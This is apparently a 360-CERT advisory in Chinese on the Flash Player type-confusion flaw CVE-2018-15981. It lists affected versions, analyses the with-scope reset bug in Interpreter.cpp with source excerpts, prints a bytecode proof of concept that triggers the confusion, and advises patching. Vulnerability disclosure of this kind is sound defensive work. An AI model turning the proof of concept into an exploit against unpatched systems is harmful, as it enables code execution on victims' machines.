Adobe Flash Player任意程式碼執行漏洞 (CVE-2018-15981) 預警
報告編號:B6-2018-112101
報告來源:360-CERT
報告作者:360-CERT
更新日期:2018-11-21
0x00 事件背景
昨日深夜,Adobe釋出適用於Windows,macOS,Linux和Chrome OS的Adobe Flash Player安全更新,修補了一枚型別混淆漏洞(CVE-2018-15981)。該漏洞影響Adobe Flash Player 31.0.0.148及以前版本,成功利用會導致任意程式碼執行。360-CERT對漏洞進行分析,認為該漏洞利用難度低且影響範圍廣,危害嚴重。
0x01 影響範圍
產品 | 版本 | 平臺 |
---|---|---|
Adobe Flash Player Desktop Runtime | 31.0.0.148 and earlier versions | Windows, macOS and Linux |
Adobe Flash Player for Google Chrome | 31.0.0.148 and earlier versions | Windows, macOS, Linux and Chrome OS |
Adobe Flash Player for Microsoft Edge and Internet Explorer 11 | 31.0.0.148 and earlier versions | Windows 10 and 8.1 |
0x02 漏洞分析
漏洞出在Interpreter.cpp檔案中:Flash 在異常處理時,重置了狀態機的許多變數,並將直譯器的PC設定為目標處理程式的地址。但這個過程被過度優化,沒有重置with-scope變數。使得攻擊者可以構造惡意flash 檔案,在物件載入後丟擲異常,此時修改物件的成員變數型別,造成型別混淆。
在 Interpreter.cpp 原始碼中,定義了一個 withBase 變數,用作scopeBase陣列的指標偏移量
register Atom* const scopeBase = framep + ms->local_count(); register Atom* volatile withBase = NULL; NONDEBUGGER_ONLY( register ) int volatile scopeDepth = 0; register ScopeChain* const scope = env->scope();
而該變數,在findproperty指令的處理程式處呼叫。
INSTR(findproperty) { b1 = false; findproperty_impl: SAVE_EXPC; GET_MULTINAME_PTR(multiname, U30ARG); if (multiname->isRuntime()) { aux_memory->multiname2 = *multiname; sp = initMultiname(env, aux_memory->multiname2, sp); multiname = &aux_memory->multiname2; } *(++sp) = env->findproperty(scope, scopeBase, scopeDepth, multiname, b1, withBase); NEXT; }
因此攻擊者可以利用findproperty指令,對該漏洞進行利用。
利用的PoC如下:
getlocal0
pushscope
getlocal0
findpropstrict QName(PackageNamespace(""), "NewClass2")
constructprop QName(PackageNamespace(""), "NewClass2"), 0
initproperty QName(PackageInternalNs(""), "myvar")
getlocal0
pushwith
L10:
pushbyte 1
throw
L12:
nop
L16:
getlocal0
pushscope
pushint 534568
newobject 1
coerce QName(PackageNamespace(""), "Object")
pushscope
findproperty Multiname("myvar", [PackageInternalNs(""), PackageNamespace("")])
getproperty Multiname("myvar", [PackageInternalNs(""), PackageNamespace("")])
getslot 1
returnvoid
0x03 安全建議
該漏洞利用難度低且影響範圍廣,危害嚴重。因此360-CERT強烈建議使用者對Adobe Flash Player進行更新。
目前相關補丁已經發布,使用者可以使用軟體內部的“更新”功能,或者訪問 https://www.flash.cn/ 下載最新版本的應用。
0x04 時間線
2018-11-20 Adobe釋出安全公告
2018-11-21 360-CERT 釋出預警
0x05 參考連結
宣告:本文來自360CERT,版權歸作者所有。文章內容僅代表作者獨立觀點,不代表安全內參立場,轉載目的在於傳遞更多資訊。如需轉載,請聯絡原作者獲取授權。